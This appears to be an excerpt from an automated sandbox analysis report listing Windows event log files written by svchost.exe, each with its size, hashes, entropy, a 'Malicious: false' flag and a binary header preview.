Preview:	ElfChnk.........b...............b...............0...o5@r.....................................................................2..................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4467272005363894
Encrypted:	false
SSDEEP:	384:EEhFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjD6:JzSKEqsMuy6TN
MD5:	155681C222D825199B738E8DEC707DC8
SHA1:	704C800E7313F77A218203554E1428DF2819BC34
SHA-256:	1505E543085CB6AA30119F10DF11AC8CE061DB0CAC6D44A640E711F96750C4BF
SHA-512:	ADDDE8E26D330EAA13F993D17FF4A6DE7F4120E5B36205EB69FC999B0462B21FD189317EFD1002618551EE24E5C753A09EB34955E8CF1A8E2A22D27516BAB720
Malicious:	false
Preview:	ElfChnk.........L...............L...........x.......ZZO.........................................................................................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=............................................y..................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.156155224835584
Encrypted:	false
SSDEEP:	384:MhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zE:Mmw9g3LU
MD5:	F22AC858C2ACC96E8F189E43FFE46FBD
SHA1:	540B8276921D37FCFFDA3FC7BCFAE1D99A85433B
SHA-256:	771A6E4098CB30081338F06DD7C0B54248C133F9B7B6849FDADDBD6E6FD5BCE9
SHA-512:	B4CF3C51B9FB236207B19FE697CEF6E402C6C903E7570B3938F529E5438F96E230463B9A9B17784A98E580E2B18AA9626E96AA83F705D506AF9C2A0432F0F7D5
Malicious:	false
Preview:	ElfChnk.........6...............6........... o...p..k.?........................................................................x................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#...........................................~i..................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9197999988543422
Encrypted:	false
SSDEEP:	384:ehqID7I26vIxIPIttIo0IPrI5IMILIjI7I1IIIfrIBBLIgITI:ecx
MD5:	6C3F290FC62CFA9C240AEE8DB1DBA277
SHA1:	CFACCF81F3AA31E8DE85CEAFDAA55AA90FA18BEC
SHA-256:	7841FBB35636229AFB0389965D3DDBD0B7DF4858F1DA8A8FF434830DB8B133D6
SHA-512:	D2C60875EFADB1F3421CDC095B00E32419C0266CB4F58B17AF09A82AAA20EB488C757BA07E7562A033B84A37B3E035C405200BFB29330F79CA565FF21F5EDA88
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86.....U......................................................................+.................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..x...K.........tQ..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 2 chunks (no. 1 in use), next record no. 143, DIRTY
Category:	dropped
Size (bytes):	76040
Entropy (8bit):	4.551396690032708
Encrypted:	false
SSDEEP:	768:9LjpPv++M48PFVbUa+5imKLjpPv++M48PFVbUa+5imyY20sMY3Dp13/n/ydIxm6c:LU
MD5:	DD8F2B18604164909CECC144BBE4BD7F
SHA1:	17D2C3BD695F4BBBEFBC4A2B27C053F345226CB1
SHA-256:	1BFE963E4435F2ECA8114899514A58C40CF35D053BE299A06DE2CC49433B4959
SHA-512:	2D1662B855CA588E61220072F36C9EE6E71F40268EE9AB0EED6980CCDE90F34EC66250B63427E9D8662A37E958055C4FDBBD92059CCA458018C5A0AFB5875DBF
Malicious:	false
Preview:	ElfFile.....................................................................................................................I..ElfChnk......................................$...(...n\|V.....................................................................p$.................H.......................p...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......!............................................$..................................**..X.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.718426658668259
Encrypted:	false
SSDEEP:	384:Thka5Ka5WsR9o2KbzyzIz7a5NsR9o2KbzyzIzia5zzuzNz0zxzuewKWMK/2a55wt:Tdqlt94xODljQdM
MD5:	8630011707C7BFBCECC0A9430637802E
SHA1:	22247A5B6A4C01883BB14E0BD4575A3553F945CB
SHA-256:	227057F9899098B21709D53114E9DECFFCD28207BFFA178AD6B1E32F9C63EDDF
SHA-512:	972629871B28EA6D01B8762B28378F8348E592BD465FE7FD1CF6AB5BD62157230AD3BB729F6290F6EDA950AB20598110676D902756E40BA3067ED37831855076
Malicious:	false
Preview:	ElfChnk.%......./.......%......./...........(l...n.........................................................................b\.;................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&........................6..........**..P...%.......'wu~..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9963080376858662
Encrypted:	false
SSDEEP:	384:l7h1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMLaMA0MJvMZy:l7eJw
MD5:	A51AFE78FA4481FA05EDC1133C92B1D8
SHA1:	5BA44E7A99EE615E323696742DA6B930E9FF6198
SHA-256:	44C1977D16383DF6B1FFF8164F319DFD99092A124ABA7C7280D74A6BB8AD2094
SHA-512:	792E5E8F5540DCA4B7F003C1043DCBC3E0EC3F23EC4A7B0FA84357F6ABDFD84122C124DBEA2B61D3B5CEED79A3E158DBE95DFCDB20EEAC433D9CDC29C3328F22
Malicious:	false
Preview:	ElfChnk......................................)..0-....\.....................................................................\|..........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................)..................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.076996627399968
Encrypted:	false
SSDEEP:	384:Ihk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS12:IBjdjP0cs6N
MD5:	A8ADBDC2B39B55444B2C844F7D81EBDE
SHA1:	F97F40E314C8A2A39953A28CB72C9270D3073418
SHA-256:	93CF0EF4C121FCBB18A8A6DA5912415AF1113816BE6A8F9B86BE6A2243408E09
SHA-512:	922D165CBE871A393D58DAABABE7D09557E242BF73C2C473C29CCB0FB3277B8119911EFF51B12238D23B613AD9C15DAB163C9757BC9006D768B2345F53436E7B
Malicious:	false
Preview:	ElfChnk.........................................X...Y}.......................................................................(.[................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.227362522701697
Encrypted:	false
SSDEEP:	384:GhhDIEQAGxIHIFIWInIfEITQIAIQIfID8IaxIcI8IfRITGIHUI6IwI2IVIWIfRGq:GhZxGp9I1M
MD5:	AC029715F2D314666C7D30FF3AB6CCBF
SHA1:	B71AAD56B7FDBB8EC118A7FB3DD0FE88FC7DDC77
SHA-256:	905A3299B1C8F91D518A6A815916796C96C5CB2F28085303310EAB99E5EDF123
SHA-512:	209BEBDF4EAEBB34474AA4C2F51B97363D2F2A14824FAB6ADB22C53C0BE32738CAB1300FBB5C482BFF6001BDDE81E414E0CACED23A6BC4CEDFFEFF8F99B61FBD
Malicious:	false
Preview:	ElfChnk.T...............T...................P...h..............................................................................+........................................>...=...........................................................................................................................f...............?...........................m...................M...F............................................................n..................1................................a......a...........................**......T.......B..d..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.801423310886069
Encrypted:	false
SSDEEP:	384:dh6iIvcImIvITIQIoIoI3IEIMIoIBIDIcIwISIEzIJVI:doxJS
MD5:	9EAAD7982F42DFF47B8EF784DD2EE1CC
SHA1:	542608204AF6B709B06807E9466F7543C0F08818
SHA-256:	5468A48533B56DE3E8C820B870493154775356CE3913AD70EC51E0D1D0D1A366
SHA-512:	036BFABE2AC4AD623B5C439349938C0EA254BFCDAB9096A53253189D4F632A8A8A1DD00644A4573AF971AAEA6831317BFD663E35363DD870684CDD4C0A51884C
Malicious:	false
Preview:	ElfChnk.....................................X ...#..\.N......................................................................12.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................~ ..................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.996272372482282
Encrypted:	false
SSDEEP:	768:e4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH137:M
MD5:	4F68D6AF0C7DB9E98F8B592C9A07811C
SHA1:	9F519109344DD57150F16B540AAA417483EF44FE
SHA-256:	44177E6F71E240EBFE9CE63FEFBF5D46A01979E09C0C14F65F1D19AE8E97B8EE
SHA-512:	E1D5097BCD572F3DBAF4024FAEA76BAD3061CD2E05017701B578020327969C2BD3F725FBE8BFE4C40DC66336CE1371E7AB037058603B02449366DAE4EDE8DE69
Malicious:	false
Preview:	ElfChnk.....................................(...8...S......................................................................V..C................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ..................................................N...................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	76320
Entropy (8bit):	3.9184731745191157
Encrypted:	false
SSDEEP:	768:IvlWkvlWhjV8k+u7eUtHpoVPGWUy07SZRcZv76NcRkpHrWbGyYKQc90X0Ozth0B8:ljV8k+u7PtHpoVPGxWzthf
MD5:	FCC2754991B7A152B99780BE4089C65B
SHA1:	A345FCB6676F05EE3D1D50DC046BA451DBEC1B04
SHA-256:	B6474C11999A1865611910FCD2887FCCC172B283589DCC89A38B3ABF14939CF2
SHA-512:	A4D44C04B24B9CA752A30F7651DF71D9874FAA2D88906622DFE919036D341B20F0C4C34F87A7203CAA7DE7068CB0B1B20840439C216269E00605C4D31496BFCF
Malicious:	false
Preview:	ElfChnk.................P.......U...............x......w........................................................................................ ...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..P...P........\.o..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.738342213258453
Encrypted:	false
SSDEEP:	384:Dh+rKvKaKNP6WKkvKWKlpKuyK7YKmKaKHxqKWyK11KUIKqKq9KLjK5yKoKfKYKnr:DkN2cTOsKAnIpVESEbxNrjzDbRt
MD5:	F971745114B36581EA6020128FB66F9D
SHA1:	B1D2B9476CDA4074E532246D6B5A8D944026B2B9
SHA-256:	1459D62063A0C0B38B90B3C6349D4B849CED19A11746DC585FC2BE65A0F39C62
SHA-512:	D3BDA44556710BE15798E77091F459D53DCF5BB0DC7FCA660BDAA6DC1BFD963FA3238074E33D49B161258C6FDAA88DA723344A396B41EE47CE5F878A6D5967B4
Malicious:	false
Preview:	ElfChnk.....................................0........Y0........................................................................................l...........................=...........................................................................................................................f...............?...........................m...................M...F.......................E................................M..&...g`..g5......................o]...........X...Z..GP...............s......od......_i..**..P............%.o..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7590316238843728
Encrypted:	false
SSDEEP:	384:IhP8o8Z85848V8M8g8D8R8E8T8h8p8TtP8sU8:Ic
MD5:	B074238315662886E2BD70106D08A747
SHA1:	5ADA158D19401565E76349FCA97489E9FB9BFA36
SHA-256:	53770508DCDA0199A75458B5A10DC8FD2E49A4CFD0FC001C16D56F3B567AB71C
SHA-512:	9D35DC04CCE95541551254BCBB00B0E2E0860D9B6F69D40FBC829DA31FC3AC43690A049A432BA4D43315B80675143A6AA02C57484E7903845010A5AD9EC92D6D
Malicious:	false
Preview:	ElfChnk.........................................0!....H.......................................................................j........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......................................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.7512622527805637
Encrypted:	false
SSDEEP:	1536:uXhhUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:uXPnS
MD5:	674C1241792D48563659E74755F8160D
SHA1:	D2F57D284BBE79688D21DC7B24407D107313E866
SHA-256:	C7629EB835556F64E62C5A67AB71F0FAFCA49F99DB7A4DD86F67AE418CA9D287
SHA-512:	06A16A1EAC164D12DA0EC8DD21A0B3E31D9481BC17A2BE7CD69D46EDDA4AFBC894AF399BC9AF9E23BDB4AA3D4DE5654B920C4A07FD8E0BF4B5013B722401CF0B
Malicious:	false
Preview:	ElfChnk.........%...............%............E..`G..zV......................................................................JB.Z................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................&B..........O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3069197485541766
Encrypted:	false
SSDEEP:	768:S0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O0apPaQOan6qa6IvV1:ycEu
MD5:	E6E4C860CE7DD1BB499D6A082B461B90
SHA1:	11330861B23B1D29D777D9BD10619A07B6A6A9C0
SHA-256:	C27431D9C64F5C9D323E2B4ED5F44781969B34F30DC4280296A329DCD6509D44
SHA-512:	7393A0FF290BB3DB07E8BB9A9FA7B666CD8B686CBDAA3FED2EBD704D6E88A4D5768D104BD768E6AA533C42588C661A863E11ED9146ABD7386A2A9B4F84583406
Malicious:	false
Preview:	ElfChnk.........;...............;............r..@t...H......................................................................p"..................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&........................................................................l..............]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	127536
Entropy (8bit):	4.002504841511839
Encrypted:	false
SSDEEP:	768:ah0w+qLpBVi7CPME79nCxkSqAh0w+qLpBVi7CPME79nCxkSqlo:c0w+qtBVix0w+qtBViGo
MD5:	F087536095F7D9207882B71BC985FCCB
SHA1:	A481315760A02C8ABC1D7C237AAB9133A5FA0867
SHA-256:	582AF5ACB55D782704EE34F77BD31C6383718BAEDD735F5DEA75D0B15613381E
SHA-512:	C1111A2D4F0C63F86A9AD55F471DED337CB886F2EB5122B380762ABFE906DD7B560A2AE43D5F35D0E10ACBE52BDCF1AD169F4A8E44C6C802F25D1D74B71107DF
Malicious:	false
Preview:	ElfChnk.........#...............#........... ..............................................................................\.f................T.......................\|...=...........................................................................................................................f...............?...........................m...................M...F.......................................-...'...............&.......................................................................................*.. ............#................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.2909571978750325
Encrypted:	false
SSDEEP:	384:Ny2/hDGCyCkCzCRCFCNClCuC6CoC9rC6CdCsCvCkxCkC5CCCWCxCIC/CbCFC5CkG:Ny2/dm1sR
MD5:	B0BF4D9EC91ABBDA5D328631B125A5C0
SHA1:	E672D69127AE7C1A51046ADAA911871EC0C10ABB
SHA-256:	8DBE6F5B80B3D973BBF1177BCCAA690B9F90FC99DC358B7DE66175317C733501
SHA-512:	3132E1FCC5C8F88BD974465EA1E644CA89C2D9E041E49F8A1F48B9ACB3376F0A1042F5CB6FDFC6BE2934C4483312C35539D64DB25B892388604F9F637074BCBD
Malicious:	false
Preview:	ElfChnk.U.......~.......U.......~....................}/.....................................................................@..................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................v..................................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.488768580471203
Encrypted:	false
SSDEEP:	1536:Q9YcieRoUlafdbkKKMAQ2SomvXCQv/2ketsvQPh8YzSJoh2VgPIEF6uq9GgCVRlW:Q9YcieRoUlaFbkKKMAQ2SomvXCM/2keU
MD5:	E3FB1708C64D250E4D801AFB8688DF35
SHA1:	8B889F0358683733257411E451A86E3A1D42159D
SHA-256:	0B62FDD9A57B1809D79561AE64BE30DD7430815D6954A5E3DF90E29E1B2E6C72
SHA-512:	2F5CC514B180A39E5961452A594FE5384A6369CBCB7A1CEBAC37948770A6CB999A2E2F26A32240058D5D7A335904DAF40C88F1C096D8F85907F23E9B32E79ABE
Malicious:	false
Preview:	ElfChnk.........$...............$.....................w.........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................V...................................**................o...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	110280
Entropy (8bit):	4.498129753183186
Encrypted:	false
SSDEEP:	3072:+cRFkL1TWX0gkB/J7oasEfyk2/vKlqk/PgTZSXwyvy8fJpfrAW+Cr6SXlUr20GpB:uNN
MD5:	5C1CBA27D62D0FDEB339B82CEAEE22DF
SHA1:	D0D220ADCE3ECBC912C8BF386CD3101C1167778F
SHA-256:	B925AC34ACCDFB80EF53A918BCCFB6F78C39B513AC7E38CB46D1BBB19EAAC9D6
SHA-512:	16DE86DA8774E70D1AFC2FD951735966454DF9DE9A666432A65A9FD7BDF50958A0EE2E5FA8F934B6650338DEC43A40FC75F084532E754EE3BC0FF2D8103A8431
Malicious:	false
